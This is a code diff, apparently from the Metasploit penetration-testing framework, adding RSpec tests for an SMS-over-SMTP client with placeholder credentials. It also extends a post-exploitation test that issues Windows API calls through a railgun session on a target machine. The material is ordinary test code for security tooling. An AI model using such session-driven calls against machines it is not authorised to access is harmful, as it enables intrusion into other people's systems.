Rex::Proto::Mms::Model::Smtp.new(
address: address,
port: port,
username: username,
password: password,
login_type: login_type,
from: from,
helo_domain: helo_domain
)
end
describe '#initialize' do
it 'sets address' do
expect(subject.address).to eq(address)
end
it 'sets port' do
expect(subject.port).to eq(port)
end
it 'sets username' do
expect(subject.username).to eq(username)
end
it 'sets password' do
expect(subject.password).to eq(password)
end
it 'sets login_type' do
expect(subject.login_type).to eq(login_type)
end
it 'sets from' do
expect(subject.from).to eq(from)
end
it 'sets helo domain' do
expect(subject.helo_domain).to eq(helo_domain)
end
end
end

View File

@ -0,0 +1,53 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/sms/model'
RSpec.describe Rex::Proto::Sms::Client do
let(:phone_numbers) { ['1112223333'] }
let(:message) { 'message' }
let(:carrier) { :verizon }
let(:smtp_server) {
Rex::Proto::Sms::Model::Smtp.new(
address: 'example.com',
port: 25,
username: 'username',
password: 'password'
)
}
subject do
Rex::Proto::Sms::Client.new(
carrier: carrier,
smtp_server: smtp_server
)
end
describe '#initialize' do
it 'sets carrier' do
expect(subject.carrier).to eq(carrier)
end
it 'sets smtp server' do
expect(subject.smtp_server).to eq(smtp_server)
end
end
describe '#send_text_to_phones' do
before(:each) do
smtp = Net::SMTP.new(smtp_server.address, smtp_server.port)
allow(smtp).to receive(:start).and_yield
allow(smtp).to receive(:send_message) { |args| @sent_message = args }
allow(Net::SMTP).to receive(:new).and_return(smtp)
end
it 'sends a text message' do
subject.send_text_to_phones(phone_numbers, message)
expect(@sent_message).to eq(message)
end
end
end

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/sms/model'
RSpec.describe Rex::Proto::Sms::Model::Smtp do
let(:address) { 'example.com' }
let(:port) { 25 }
let(:username) { 'username' }
let(:password) { 'password' }
let(:login_type) { :login }
let(:from) { 'from' }
let(:helo_domain) { 'example.com'}
subject do
Rex::Proto::Sms::Model::Smtp.new(
address: address,
port: port,
username: username,
password: password,
login_type: login_type,
from: from,
helo_domain: helo_domain
)
end
describe '#initialize' do
it 'sets address' do
expect(subject.address).to eq(address)
end
it 'sets port' do
expect(subject.port).to eq(port)
end
it 'sets username' do
expect(subject.username).to eq(username)
end
it 'sets password' do
expect(subject.password).to eq(password)
end
it 'sets login_type' do
expect(subject.login_type).to eq(login_type)
end
it 'sets from' do
expect(subject.from).to eq(from)
end
it 'sets helo domain' do
expect(subject.helo_domain).to eq(helo_domain)
end
end
end

View File

@ -21,7 +21,7 @@ class MetasploitModule < Msf::Post
def test_api_function_calls
it "Results should include error information" do
it "Should include error information in the results" do
ret = true
result = session.railgun.kernel32.GetCurrentProcess()
ret &&= result['GetLastError'] == 0
@ -51,6 +51,25 @@ class MetasploitModule < Msf::Post
ret &&= result['nSize'].to_i == result['ComputerName'].length
end
it "Should support calling multiple functions at once" do
ret = true
multi_rail = [
['kernel32', 'LoadLibraryA', ['kernel32.dll']],
['kernel32', 'GetModuleHandleA', ['kernel32.dll']],
['kernel32', 'GetCurrentProcessId', []]
]
results = session.railgun.multi(multi_rail)
ret &&= results.length == multi_rail.length
results.each do |result|
ret &&= result['GetLastError'] == 0
ret &&= result['return'] != 0
end
# LoadLibraryA('kernel32.dll') == GetModuleHandleA('kernel32.dll')
ret &&= results[0]['return'] == results[1]['return']
ret &&= results[2]['return'] == session.sys.process.getpid
end
it "Should support reading memory" do
ret = true
result = client.railgun.kernel32.GetModuleHandleA('kernel32')